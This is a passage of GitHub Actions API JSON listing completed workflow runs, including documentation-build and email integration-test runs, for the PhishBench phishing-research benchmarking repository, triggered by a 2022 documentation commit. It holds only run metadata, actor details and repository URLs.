(#332)","run_number":242,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7681348307,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgS0w","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890691","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:19:13Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348307","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890689,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nELfB","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Documentation.yml","display_title":"Update docs (#332)","run_number":84,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7681348299,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgSyw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890689","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:15:41Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348299","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890688,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nELfA","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Email_Integration_Test.yml","display_title":"Update docs (#332)","run_number":101,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7681348300,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgSzA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890688","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:38:05Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348300","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. 